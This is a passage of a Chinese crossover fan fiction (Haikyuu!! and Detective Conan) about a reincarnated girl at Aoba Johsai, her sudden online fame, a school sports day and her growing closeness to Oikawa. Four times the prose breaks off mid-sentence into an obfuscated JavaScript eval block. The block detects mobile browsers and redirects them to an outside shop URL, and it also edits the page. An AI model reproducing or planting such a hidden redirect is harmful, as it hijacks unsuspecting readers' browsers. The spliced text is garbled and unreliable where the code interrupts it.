“还好，”澪说，“只是随便看看。” “哦……”男生点点头，然后似是找话题一般，说，“我叫田中，田中优斗，你也是来参观文学部的吗？” “嗯。” “你觉得怎么样？会加入吗？” 澪想了想：“可能。” 她对文学其实没什么爱好，加入也只是因为这里好混偏差值，在确定了某些事情以后，她已经没有兴趣将时间放在中学社团活动上了。 田中又点点头，然后有点尴尬地站在原地，似乎不知道该说什么了。 澪看着他的表情，注意到他的手指在书页上轻轻摩挲着，大概是想搭话，但不知道该怎么继续。 “你看的是什么书？”澪友好询问。 田中的眼睛亮了一下：“啊，这本是《挪威的森林》，我很喜欢村上春树的作品，你呢？” “我看得比较杂。” 澪其实不独爱谁的文学作品，她只是就这么看着，好似上辈子没有经历过的都能在那些书里寻找到内心的投射。 但这个世界的书籍并没有她上一世丰富，特别是侦探类书籍，到了贫瘠的地步。 但这也是一件好事吧，没有培育侦探的土壤，自然也缺乏了培养侦探小说家灵感的源泉，这说明这个世界很和平，案件稀少。 “那太好了，啊，我是说，这样可以读很多不同的书……” 他们聊了几句关于书的话题。 田中说话的时候，紧张感渐渐消失了，取而代之的是一种谈到喜欢的东西时的热情。 澪听着他说话，在心里想：这个人，倒是很适合文学部。 参观会结束后，澪在入部申请书上写了名字。 走出教学楼的时候，天已经有点暗了。 走到昨天那个路口的时候，她又看到了及川彻。 这次他是和岩泉一在一起，站在便利店门口。 好像是…吵架？ 澪停下脚步。 隔着一条街的距离，她能看到及川的表情很激动，正在大声说着什么。 岩泉的表情却很冷静，甚至有点冷淡，双手抱在胸前，一动不动地听着。 及川说了一会儿，然后停下来，看着岩泉。 岩泉开口说了几句话，及川的表情从激动变成了委屈，不是真的委屈，更像是一种“你怎么这样”的撒娇。 澪没忍住笑了下。 然后岩泉伸出手，在及川头上锤了一拳。 及川捂着头，做出夸张的疼痛表情，但嘴角却弯了起来。 【是从小一起长大的朋友，才会有的相处模式呢。】 她见过的上一对幼驯染，倒不是这种相处模式，但也腻得慌。 澪看了一会儿，然后继续往前走至于刚才的心声有没有被听到这种事，她现在已经不太在意这件事了。 前世种种，都已经消散了，就算说出来大概也只会被当做某种小说设定吧。 还是烂尾小说。 她离开的时候，及川恰好抬起头，目光再次扫过路口。 他看到女生走在街灯下，校服的裙摆随着步伐轻轻晃动。 看起来很安静，像是不属于这个世界，只是路过而已。 “又在看什么？”岩泉的声音打断了他的视线。 “没什么，”及川收回目光，“看见一个学妹了。” “谁啊？” “一年级的，清水澪。” 岩泉看了他一眼，表情有点微妙：“又是这位，你什么时候开始对一年级的女生感兴趣了？” “才不是感兴趣！”及川抗议，“只是碰见过几次而已。”估计以后也不会有太多交流，毕竟没有人喜欢被窥探内心吧。 岩泉没有再问。 他们并肩走向车站，说着排球部的事，说着明天的训练计划。 * 四月下旬，在黄金周来临之前，举办校运动会之际，青叶城西的校园里多了一些微妙的变化。 比如说，走廊上偶尔会有别班的学生恰好经过一年六班的教室门口，探头探脑地往里张望。 比如说，澪的鞋柜里开始出现一些没有署名的信封，有的装着情书，有的装着校内小卖部的优惠券，后者显然是某个不知道该怎么表达好感的女生塞的。 再比如说，佐藤真由美在某天午休时，突然把手机怼到澪面前，屏幕上是一张照片。 “清水，这个是不是你啊？” 澪低头看了一眼。 照片上的女孩穿着深蓝色的西装制服裙，站在网球场的围网后面，侧脸对着镜头，在镜头聚焦地一瞬间，那双墨蓝的眸子就清洌洌地看了过来，像是知道那里有人偷拍一般。 阳光从斜上方照下来，在她脸上投下柔和的阴影，但照片里的人却气势惊人，让人不舍得移开眼睛又不敢冒犯。 “我记得你说过你是帝丹的，”佐藤皱着眉，“东京帝丹最出名的就是文化祭，但文化祭最出名的原因……” 佐藤神色微妙，但更多的是惊喜和欣赏。 澪知道她为什么会这么表现，帝丹文化祭出名的原因，是因为这是个选美大赛来着。 大概十年前出过有名的帝丹女王和帝丹公主，前者成了大名鼎鼎的律政女王，后者则是家喻户晓的国民女星。 再之后…… 清水澪眼神没有聚焦，思维又开始发散。 其实如果没有她这个意外的话，帝丹要靠美人再次出名，要等到十多年后了。 十三年后，高三的毛利兰会在文化祭上当选帝丹天使， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375169|200060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然后和工藤新一重逢…… “清水，你这也太低调了！”佐藤压低声音道，“你知道网上有多少你的照片吗？传说中的帝丹辉夜姬，她们是这么叫你的欸！还有人说你是继妃英理和藤峰有希子之后的第三代帝丹传奇！” 澪：“……” 她对这些中二的称号感到有些无奈，解释道，“这只是东京学校小范围的自娱自乐罢了，你看我来宫城这么久才被发现就知道了吧，这个没什么的，大家八卦一下就过去了。” 她不太希望自己的平静的生活因为这个有什么波折。 她接过佐藤的手机，划了几下。 屏幕上是一个看起来像是校园论坛的页面，标题是《有人知道帝丹辉夜姬毕业后去了哪里吗？》，下面跟了几十层楼的回复。 有人贴了她国中时的照片，开学典礼上的侧脸、文化祭上站在班级摊位后面的样子、体育祭时给网球部成员递水的瞬间。 有人科普：“帝丹辉夜姬，本名清水澪，帝丹高中国中部出身，从入学开始就因为长相出名，但因身边常常混迹着帝丹的五大恶人，让追求者只敢远观，本人极其低调，几乎只与本班和网球部的成员来往。” 有人调侃，“哈哈哈五大恶人笑死，是五大猩猩吧。” 还有人超级不甘心，“不是恶人的话怎么拦着我们报名网球部？” “楼上，难道不是因为你太菜？” “哼！辉夜姬是大家的！一定是他们太霸道了，才把辉夜姬吓走的！我已经打听过了，辉夜姬没有去东京任何一所学校！” “说不定去京都了呢，辉夜姬气质就很像京都人。” “不像啊，清水学姐人很温柔的，还会讲冷笑话。” “抓到一个野生记者，展开说说……” 佐藤托腮看着同桌，“能说吗？清水为什么要来宫城啊？东京不是更好吗？” 澪放下手机，想了想，认真道，“我已经从那里得到答案了。” 所以没有呆下去的必要了。 佐藤眨了眨眼，然后笑起来，“虽然没听懂，但这是清水自己的选择吧，还是要说一声，欢迎你来到宫城县哦，我很高兴和清水能遇见成为朋友。” 澪莞尔，“我也很高兴。” * 那天中午，澪在图书馆又遇到了及川彻。 他坐在那个靠窗的老位置，面前摊着一本西语书，手里拿着一支笔，正在书上划着什么。 澪在书架间挑书的时候，听到他叹了口气，语气很苦恼。 “这个语法到底是谁发明的啊……” 声音不大，像是自言自语。 澪没忍住，嘴角弯了一下。 她挑好书，准备找个位置坐下。 及川抬起头，看到她，眼睛亮了一下，用气声道，“清水学妹！好巧！” 澪犹豫了一下，还是在他对面坐下。 “及川前辈。” 及川笑了笑，然后压低声音说：“今天没有在想什么奇怪的东西吧？” 澪看了他一眼。 【比如？】 及川眨了眨眼，调侃道，“比如及川大人的坏话。 5. 第 5 章 澪失笑，“没有哦。” 在知道能被读心的前提下，她能保证以后及川彻听到的都是她想让她听到的。 控制大脑而已，又不是控制心脏。 及川撑着下巴看她，凑近她小声说，“我今天在论坛上看到你了哦。” “帝丹的辉夜姬，”及川说，声音里带着一点笑意，“好厉害的样子嘛。” 清水澪突然不想理他了，现在换个座位来不来得及。 面前的前辈忍着笑意，那双棕瞳在图书馆灯光的照耀下像是清了蜂蜜。 “很少有人在青城知名度能超过呢，辉夜姬殿下。”及川继续说，“不过，我觉得辉夜姬这个称号可不太适合清水学妹呢。” 清水澪抿唇不语。 及川托着腮，思考状：“辉夜姬是从月亮上下来的，最后又回月亮上去了，感觉也太孤独了。” 他的目光落在澪脸上，笑着说， “清水学妹给我的感觉，不像是要回月亮上的那种人哦。” 【……这个人到底想说什么。】 及川轻笑了一声，也低下头继续看他的西语书。 窗外的阳光照进来，在桌面上投下斑驳的光影。 过了一会儿，澪听到及川小声说：“谢谢哦。”应该是在安慰自己吧，希望自己不要被论坛上的人影响什么的。 “什么？” “之前说的，看侦探小说学西语，”及川说，“我试了一下，确实比教材有意思，不过我看到的是西语版纯爱言情小说。” 澪抬眼看他，一时间不知道该不该吐槽他去看言情小说，某种刻板印象，中学的男生们是不会看这些女生专属的。 及川彻食指抵着唇，wink了一下，“从小岩那里借来的，学妹想看可以和我说哦。” 然后又低下头，正在笔记本上写着什么，侧脸被阳光照得有点发亮。 清水澪捏着书页的手有些紧，轻轻嗯了一声。 及川笔尖顿了一下，然后继续写下去，嘴角弯着。 * 黄金周前的最后一个周末，澪难得起了个大早。 晨光从窗帘缝隙里漏进来，在榻榻米上切出一道细细的金线。 她盯着那条线看了很久，直到它慢慢爬上了自己的脚背。 这段时间真是累了。 她翻身坐起来，打开手机。 Line上有几条未读消息，都是同班女生发来的——[明天运动会一起加油呀、澪准备好了吗？中午便当要不要交换着吃。] 窗外传来乌鸦的叫声，很响亮。 澪把手机扣在枕头上，又躺了回去。 嘛……虽然在日本乌鸦没有不吉利这种寓意，但她大清早也真的不是很想看见或者听见和这种鸟有关的任何东西。 周一早上的校门口，风有点凉。 澪在距离校门五十米的地方站定，深吸一口气。 这个位置是她最近发现的，正好在樱花树后面，可以观察校门口的情况，又不容易被注意到。 如果早知道会发生这种事情的话，她大概率不会来宫城县这边就读。 上周三早上，她被三个青城的男生在校门旁边的小路上，为首的那个拿着一封信，脸涨得通红。 “清水同学，请问…” “对不起。”她是这样说的，“我要迟到了。” 然后她绕过他们，走进了校门。 她是真的觉得这种事情很尴尬，一个处理不好很容易担上不近人情的评价，而她也是真的不擅长处理这种事。 以前国中的时候他们是怎么帮她解决的来着？ 今天校门口很平静。 澪从樱花树后面走出来，加快脚步。 经过保安室的时候，窗子突然被推开了，保安大叔探出头来：“清水同学，早啊！” 她想事情太入迷导致吓了一跳，但还是停下来礼貌点点头，“山本大叔早上好。” 大叔笑呵呵的，“今天外校那几个不来了，放心啊。” 澪愣了一下，想说谢谢，但大叔已经挥手让她赶紧进学校了。 * 是的，辉夜姬事件愈演愈烈，一度到了外校学生来青叶城西凑热闹的程度，这让清水澪有些烦躁。 好在学校安保不错，青城校内的大部分蠢蠢欲动也在教导主任和学生会的联合压制下平静下去。 接着是黄金周来临前的春季运动会，总算有把这件事压下去的趋势，这让她稍微松了口气。 虽然也没火到校园偶像那种程度，但整天被人偶遇、送礼物什么的还是有点吃不消。 说回运动会，在宫城，学校运动会是出了名的热闹。 青城今年的项目有常规的田径项目，还有一些奇奇怪怪的趣味比赛，借物跑、两人三足、障碍接力，诸如此类。 澪被班委指定的项目是跳高，至于为什么是跳高，体委的原话是：“你看看你这身高，目测一下这跟腱长度，不跳高简直是暴殄天物啊！” 这么说起来也没错，专业“跳楼”好几年呢。 课间的时候，佐藤真由美看她盯着报名表发呆，走过来拍拍她肩膀，安慰道：“班委的话听听就是了，别听他瞎忽悠，量力而行，咱们学校的田径项目可是县内王中王级别的，你这个业余选手要做好被打败的心理预期哦。” 佐藤没有参加运动会，而是作为工作人员参与调度。 澪听到这话有些意外：“不是排球才是青城的强项吗？” 佐藤摇了摇手指，一副这你就不懂了吧的表情，解释道：“宫城县是因为小巨人的原因才掀起排球热的，再加上咱们这儿不知道怎么回事，排球天才特别多，白鸟泽的牛岛若利，北川第一考去乌野的那个二传手，还有新生代的一些次天才级选手。要说整体实力，青城的排球确实能排县内前三啦。” 她顿了顿，又补充道：“但是，田径项目才是学校真正能打进全国级别的王牌。去年咱们学校在县大赛拿了全项目的第一，全国大赛也有好几个进了决赛圈的。” 国中以后再没有关注过中学生球类运动的清水澪：？ 竟然比不上田径吗？可是及川又是青城代言人又是最佳二传的，他还以为学校重点项目是排球来着。 “可是及川彻前辈不是很厉害吗？我听好多人说他是县内最佳二传手。”澪问出了心里的疑惑，“那种程度都不能算全国级别吗？” 佐藤真由美失笑，但见同桌鲜见对排球感兴趣，也认真科普起来，“及川前辈是很厉害，还是县内最佳二传手，但是，排球是六个人的运动啊，就算是白鸟泽到了全国，大概也只有前八的水准。 全国的强队太多了，每个队伍都有自己能拿的出手的顶尖选手，这项运动不是靠一两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375170|200060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王牌就能碾压的。” 说着，佐藤掏出手机翻了一阵，找到一个视频递给澪：“你看这个，这是北川第一和白鸟泽初中部的决赛录像，那时候及川前辈和牛岛前辈都是三年级，是各自球队的主将，一个二传一个主攻手。” 画面里，两支队伍正在激烈对抗。 那个时候的及川彻，比起18岁的及川前辈，身上还带着少年的单薄感和青涩气质，但眼神已经锐利得像一把刀。 佐藤在旁边解说：“你看，他们俩都特别厉害，所以胜负就取决于队友怎么配合了。 北川这边要想办法拦下牛岛的球，还要跟上及川前辈的战术指挥思路。 白鸟泽这边则是要想办法应对及川前辈的发球和各种防不胜防的战术，同时尽可能把球传给牛岛前辈去得分。” 她把视频划到最后几秒：“结果你看到了，比分定格的时候，北川输了，因为这个年龄段是排球比赛里，一个能稳定得分的主攻手，在初中阶段的优势太大了，这种队友配置的差距，到了高中只会更明显。” 澪盯着屏幕上那个画面。 刚结束比赛的及川彻站在场地中央，浑身都好像长了刺一般，汗水顺着下颌滴落在地板上，眼眶发红，却死死咬着牙不让什么掉下来。 他的眼睛里满是不甘和迷茫，那种明明拼尽了全力却依然无法触及胜利的挫败感，几乎要从屏幕里溢出来。 看起来狼狈极了。 也……耀眼极了。 和开学第一次见到那位三年级前辈完全不一样。 三年级的这位前辈，大概已经不会再有这么情绪外露的时候了吧。 澪移开视线，把手机还给佐藤，继续问道：“你刚才说高中差距会拉大？” 佐藤叹了口气，点点头：“嗯，牛岛前辈现在身边配齐了他需要的选手，鹫匠教练为他量身选了一个功能型二传，还有能够托底配合他的副攻，但及川前辈这边……” 她斟酌了一下用词，“在我们排球迷这里，他是属于那种万金油二传，清水你知道吗，这太难得了，就是那种能百分百发挥队伍能力，或者说能让队伍做乘法的指挥型二传手，至少国内没有这种类型，而且这个独属于属于他的天赋还在成长，不限队伍的那种。 换句话说，他到任何队伍都能快速整合队友发挥实力，这其实是很吃香是，但也从侧面说明了青城的上限有多高他就能发挥多高。 可是青城的上限却不取决于他，这才是最痛苦的，到现在还没有出现一个真正属于他的王牌攻手……而且说实话，咱们队的后排防守太薄弱了。” 清水澪想到及川那位幼驯染，是叫…岩泉对吧，打的好像就是主攻手。 澪道，“我想及川前辈大概不会觉得自己缺主攻手，青城排球部的氛围也蛮好的。” 她想起了第一次在便利店看见他们时的样子，及川彻站在中间和岩泉一打闹，其他人看热闹不嫌事大补刀调侃。 佐藤微愣，然后道，“是，清水你以后要提醒我立场问题了，以后我可不能在学校里说这种丧气话了，太影响士气了！”说着少女握拳，“今年一定要干翻白鸟泽！” 清水澪想起她加入了学生会宣传部，笑道，“那你们可要好好准备应援预案！” “放心！”佐藤真由美俏皮地眨了眨眼，“我敢说宣传部没有人比我更了解白鸟泽了。” 6. 第 6 章 运动会那天的天气好得有些过分。 清晨拉开窗帘的时候，清水澪就被扑面而来的阳光晃了一下眼睛。 天空蓝得透亮，万里无云，像是被谁仔细擦拭过的玻璃，却干净得让人莫名想叹气。 她慢吞吞地收拾东西出门，到学校的时候，操场上已经热闹起来了。 彩旗在风里哗啦啦地响，广播里放着进行曲，各班的位置上三三两两坐着人，澪在看台上找了个角落坐下。 “接下来是借物跑！” 广播里传来广播部学生元气满满的声音，透过音箱传遍整个操场。 “请参加借物跑的选手到起点集合！重复一遍，请参加借物跑的选手到起点集合！” 佐藤把一年6班的丝带标签带子给她，“带在额头上手腕上都可以。” 澪接过，将红纱丝带绑在腕上，询问她，“一开始就是借物跑吗？” 佐藤点头，“刚开始嘛，先把场子热起来，为之后的长跑短跑预热。” 也难怪，借物跑是每年运动会最受欢迎的项目之一。 规则很简单：选手先跑一段，中途抽一张纸条，上面写着需要借的东西。 可能是戴眼镜的人，可能是班主任的假发，可能是学校花坛里的一朵花，也可能是穿红色衣服的三年级学姐之类。 越离谱的纸条，观众越爱看。 在规定时间内找到符合条件的“物品”，和ta一起跑到终点即可。 借物跑即将开始，广播里念着参赛选手的名字，念到“及川彻”的时候，看台上响起一阵明显的骚动。 看台上响起一阵欢呼。 澪国中的时候看过一些借物跑的名场面，比如抽到了校长的签名，满操场追着校长跑了三圈… 澪正想着这些有的没的，旁边的佐藤忽然凑过来，压低声音说：“清水，及川前辈好像在往这边看哦。” 澪下意识抬起头。 起点处，及川彻确实正朝看台的方向张望，目光似乎在人群中扫过什么。 隔着这么远的距离…… 已经超过10米了吧 这段时间她已经习惯了被听见这件事。 及川很守信用，从来没有利用这个能力做过什么让她不舒服的事，偶尔在图书馆遇到，也只是正常地打个招呼，或者问她有没有新的书推荐。 但澪还是会有意识地控制自己的思绪，尤其是在他附近的时候。 枪声响起。 借物跑的选手们冲了出去，及川跑得很快，跑到对应地点，他停下来，从工作人员手里抽了一张纸条。 他低头看了一眼，然后抬起头，目光在人群中扫过。 然后，径直朝着看台的方向跑过来。 看台上的女生们开始尖叫。 “及川学长过来了！” “抽到什么了啊？” 澪看着那个越来越近的身影，心里隐隐有一种不太妙的预感。 及川在她面前停下来，微微弯腰，把手伸向她。 “清水学妹，”他笑着说，阳光从他背后照过来，在他脸上投下一层好看的光影。 “借一下你。” 澪看着他伸过来的手。 修长，骨节分明，指尖上的茧层，大概是常年练球留下的。 她抬起头，对上他的眼睛。 那双眼睛带着笑意，亮晶晶的，像…琥珀里的蜂蜜。 “去吧去吧，”佐藤在旁边轻轻推了她一下，“别让人家等。” 澪觉得佐藤今天有点奇怪，但还是没有为难及川彻的意思，把手放上去。 及川握住她的手腕，把她从看台座位上拉起来，然后转身就跑。 他的手很暖，掌心干燥。 视线落在被抓住的手腕上，上面的红色纱质丝带被风吹着。 像是两人的手被迫紧紧缠绕。 跑过跑道边沿的草坪，跑进操场中央的赛道。 阳光很烈，风从耳边掠过。 周围是此起彼伏的惊呼和起哄，清水澪的心跳难得有点快。 她觉得是吊桥效应，略过不去深思。 【所以到底抽到什么了？】 及川回过头，朝她wink了一下，眼角眉梢都是笑意：“抽到了……不告诉你。” 【……幼稚。】 及川笑出声，握着她手的力道紧了紧，跑得更快了。 他们一起冲过终点线。 及川举起她的手，像是胜利者展示奖杯一样，对周围的裁判和同学说：“借到啦！” 周围响起一阵善意的起哄声。 澪站在他旁边，被这么多人盯着，忽然觉得耳朵有点热。她面无表情地抽回手，努力让自己的声音听起来平静：“所以，到底是什么？” 及川把纸条递给裁判。 裁判看了一眼，表情微妙地展开给大家看。 纸条上写着：【青叶?帝丹?城西辉夜姬】 澪：“……” 周围安静了一秒。 然后爆发出一阵惊天动地的笑声。 “这谁写的啊哈哈哈哈！” “老师居然也同意放进去？” “所以现在是我们青城的辉夜姬了？” “对呀对呀，那个什么帝丹的夹心可以去掉了！” 佐藤不知道什么时候跟了过来，从人群里探出脑袋，看到纸条上的字，发出一声意味深长的“哦豁～” 澪意识到什么，毕竟哪有这么巧啊，“你知道？” 佐藤立刻举起双手，讪讪地笑：“学生会的人说要给你一个惊喜，但具体是什么我真的不知道！他们瞒着我呢！” 及川在旁边补充：“佐藤学妹确实不知道，她负责的那部分不是这个。” 澪看着周围的人。 有认识的面孔，班上的同学，隔壁班的女生，学生会宣传部的人。 有不认识的人，高年级的学姐，低年级的学弟，还有几个看起来像老师的成年人。 有人在笑，有人在起哄，有人举着手机在拍。 但所有人的目光都是善意的。 【为什么？】 及川听到了。 他低下头，看着面前这个表情没什么变化的少女。 她站在人群里，被大家围着，被善意包围着，却依然像是一个旁观者，像是在看一场与自己无关的热闹，眼里却有些无措。 “哪有这么多为什么。” 他伸手，揉了揉她的头发。 澪抬起头看他。 及川笑着，按着她的肩膀让她转向周围的人群：“你看，大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375171|200060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家都很喜欢你，论坛上那些话也好，走廊上那些偶遇也好，都是因为觉得你好看、觉得你有趣，想知道你是个什么样的人。” 他顿了顿，声音轻下来：“但是澪学妹好像不太习惯被这样对待，对吧？” 澪没有说话。 及川继续说：“老师注意到了，和心理老师商量的时候，正好被我听到了，然后就有了今天的事。” 他按在她肩上的手稍稍用力，让她看着周围的人： “我们青城可是很注意学生身心健康发展到哦，来到了青叶城西，就是青叶城西的一份子啦。什么帝丹辉夜姬，现在是我们青叶城西的清水澪了，大家说对不对？” “对！！” “清水同学真的很漂亮！” “我们只是长了善于欣赏的眼睛哈哈哈！” “对对对，我们学校不排外的！” “排什么外啊，这就是我们青城的！” 澪站在原地，被这些声音包围着。 阳光很烈，晒得她眼睛有点发酸。 少女语气有些干涩，“谢谢大家。” 她其实真的不太明白为什么会这样发展。 国中是这样，高中也是这样，她好像是透支了上个世界的不幸，来到这个世界后的清水澪总是在接受命运的馈赠，而很幸运的是，这些馈赠都是包含祝福和善意。 警校组是这样，青叶城西也是这样… 但人真的能毫无目的地释放善意吗？ 还是说这个世界格外特别呢。 或者…… 她看了看身边的及川彻。 周围的人还在笑，还在起哄，但已经有人开始往回走了，毕竟运动会还在进行，还有别的项目要看，他们好像也只是参与一场小小的盛宴，好像没人把这一切看得很重要。 理所当然的样子的让清水澪觉得，这个世界宛若理想国。 佐藤凑过来，小声说：“吓到了？” 澪摇摇头。 “感动到了？” 澪想了想，点点头。 佐藤笑着道，“那就好，下午还有跳高呢，你要好好表现哦！我一会儿要去广播部，就不陪你了哦。” 清水澪点头，“好，也谢谢佐藤。” “谢什么呀，”佐藤拍拍她肩膀，“我们是朋友嘛。” 人群渐渐散去，澪抬头看向及川。 他正被几个一年级的学弟围着，他一边应付着学弟们，一边朝她这边看了一眼，对上她的目光，又笑了一下，然后继续和学弟们说话。 澪收回视线，发起了呆。 【这个人……】 “又在想什么？” 澪转头，及川不知道什么时候走到了她身边。 “没什么。” 及川也不追问，只是说：“下午跳高加油。” “嗯。” “摔倒的话，可以来找我哦。”他侧过头看她，眼睛弯弯的，“及川大人带你去医务室。” 澪无语看了他一眼：“及川前辈，你这是在诅咒我吗？” 及川愣了一下，看着她鲜活起来是样子，却笑起来，笑得肩膀都在抖：“没有没有，我是说万一啊万一。” 澪叹了口气：“不会的。” 她身体是退化了，但脑子还在呢。 7. 第 7 章 下午两点，跳高项目准时开始。 阳光比上午更加毒辣，晒得操场的塑胶跑道泛着微微的热浪。 跳高区围了不少人，佐藤真由美在比赛开始前跑过来了一趟，她下午要去学生会帮忙调度全场，穿着醒目的橙色马甲，手里还拿着对讲机。 佐藤真由美要去学生会调度，临走前过来给她加油，“我看你没怎么热身，要不要再动动？” 澪看了看另外一边田径部女孩子们又长又健美的双腿，无奈道，“我就是凑凑热闹，尽力而为就行。” 佐藤抱了抱她，“哈哈那我去忙了，你自己一定要注意安全哦。”虽然有时候觉得同桌很厉害的样子，学什么都很快上手，但有些单薄的身躯真让人担心呢。 澪和她告别，然后还是再热身了五分钟。 站在准备区，看着前面的选手一个个跃过横杆。 高度在不断上升，淘汰的人在不断增加。 “下一位，一年级6班，清水澪。” 轮到她了。 她走到起跑点，深吸一口气，然后开始助跑。 起跳。 过杆。 落地。 动作流畅，一气呵成。 周围响起一阵掌声。 澪站起来，拍了拍身上的灰，走回准备区。 下一轮，高度又升了。 她再次起跳。 再次过杆。 再次落地。 第三次，第四次，第五次。 每一次都很顺利，像是身体的记忆在被唤醒。 某些下意识的动作从来都没有被改掉过。 【“跳下去。” “别怕，腰上绑着锁链呢，莱伊会在下面接住你。” “砰！” “跳！”】 澪垂着眸，长长的睫毛在眼睑下投下一片阴影。 算了，再跳下去有点过于引人注目了。 助跑，起跳…… 本想着漏个失误，落地的瞬间，脚却突然下一软。 脚踝传来一阵刺痛。 啧。 废物。 周围的老师和志愿者立刻跑过来：“没事吧？能站起来吗？” 澪试着动了动脚踝，疼得倒吸一口气。 “可能……崴了一下。” “医务室，快去医务室，”老师转头看向周围，“志愿者过来帮忙扶一下！” “我来。” 澪抬头。 及川彻不知道什么时候出现在人群里，穿着运动服，额头上还有汗，像是刚从哪个项目上跑过来。 他蹲下来，皱着眉看了看她的脚踝，“肿了。” 然后他抬起头，看着她，眼睛里有笑意更多的却是无奈。 “没让你真的摔跤啊。” 澪还没反应过来，他已经转过身，背对着她蹲好：“上来。” “及川前辈，我可以自己……” “自己走到医务室？然后肿得更厉害？”及川打断她，语气里带着点不容置疑，“快点，我一会儿还有接力赛。” 澪犹豫了一秒。 就一秒。 然后趴了上去。 及川稳稳地把她背起来，站起来，对旁边的老师说：“老师，我送她去医务室。” “好好好，快去快去。” 及川背着她往外走。 周围的人自动让出一条路。 澪趴在他背上，能感受到他背部的肌肉，没由来地想，体育系的男生18岁就有这样的肌肉质量真是了不得呢。 “男子跳高结束了，”及川说，声音从前面传来，带着点闷闷的笑意，“路过的时候看到你跳高，就停下来看了看。” “然后就看到我崴脚了？” “然后就看到你崴脚了。” 澪沉默了一秒。 “……你的嘴是不是开过光？” 及川笑出声，背着她颠了颠，调整了一下姿势：“好吧好吧，那我现在说一句，清水学妹的脚一定没事，肯定能很快恢复。” 【幼稚。】 及川又笑，笑声震得她趴在他背上的身体微微发颤。 医务室在体育馆的另一边，要穿过整个操场，再经过一条长长的走廊。 及川背着她慢慢走。 阳光很烈，晒得人有些睁不开眼。操场上的比赛还在继续，欢呼声、加油声、广播声混成一片，远远地传过来。 阳光从走廊的窗户照进来，在地上投下斑驳的光影。 澪看着那些光影从眼前掠过，忽然开口。 “及川前辈。” “嗯？” “谢谢。” 及川侧过头，看了她一眼。 那个角度，澪只能看到他的侧脸，线条流畅的下颌，微微上扬的嘴角，但澪猜想，那双蜜糖色的眼睛里肯定带着笑意。 医务室到了。 及川把她放在床上，对校医说：“老师，跳高崴脚了。” 校医走过来，看了看澪的脚踝，“肿得有点厉害，需要冰敷。” 及川在旁边站着，没有要走的意思。 校医看了他一眼，“你是她男朋友？” “不是不是，”及川连忙摆手，“我是她前辈。” “那你可以出去了。”校医没好气赶人，女孩子脱鞋看什么看。 及川讪讪地摸了摸鼻子，对澪说：“那我先走了？” 澪点点头。 及川走到门口，又回头看了她一眼。 “好好休息。” 门关上。 澪躺在床上，看着天花板。 校医在处理她的脚踝，一边处理一边说：“你男朋友挺关心你的嘛。” “不是男朋友。” “哦，那就是在追你。”看着一脸我都懂表情的校医老师 澪决定闭嘴。 校医笑了笑，没再说什么。 冰敷的感觉很凉，脚踝的刺痛在慢慢消退。 澪闭上眼睛。 脑海里浮现出及川蹲下来看她的样子，背着她走过走廊的样子，站在门口回头看她、说“好好休息”的样子。 澪用手臂盖住自己的双眼。 她并不缺爱，上辈子遇到威士忌组以后她就是最幸福的小孩。 风里来雨里去并肩作战的情谊也让她并不羡慕友情。 他们带自己去参加伊达警官的婚礼时，她也没有对爱情有任何向往，她那时候只觉得相濡以沫的感情也很美好。 所以… 及川彻是特别的吗？ 澪不知道。 * 昏黄的灯光下看不清房间里的人影，蜜多丽缩在角落拒绝进食。 她打翻了那瓶新代号酒做的炒饭，另一瓶代号酒很生气，说她是养不熟的小狼崽子。 接着手里被塞了一个三明治，脑袋被揉了。 “不想吃饭就不吃，但总得填一下肚子。” 是那瓶温柔的苏格兰酒。 波本酒恶劣地倒出一杯液体，告诉她这是蜜多丽酒。 蜜多丽嗅了嗅，喝下去才发现不是，“这是什么？” 波本没好气抢走莱伊手里的三明治，“哈密瓜汁，爱喝不喝。” 清水澪再次醒过来的时候，盯着校医室的天花板发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375172|200060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了很久的呆。 她眨了眨眼，意识慢慢回笼。 竟然就这么睡着了。 不知道是最近发生了太多事让她有些心神不宁，还是运动后身体确实疲惫，她又梦到了他们。 “醒了？”校医的声音从帘子另一边传来，接着是脚步声，帘子被拉开一条缝。“你同学等你好久了。” 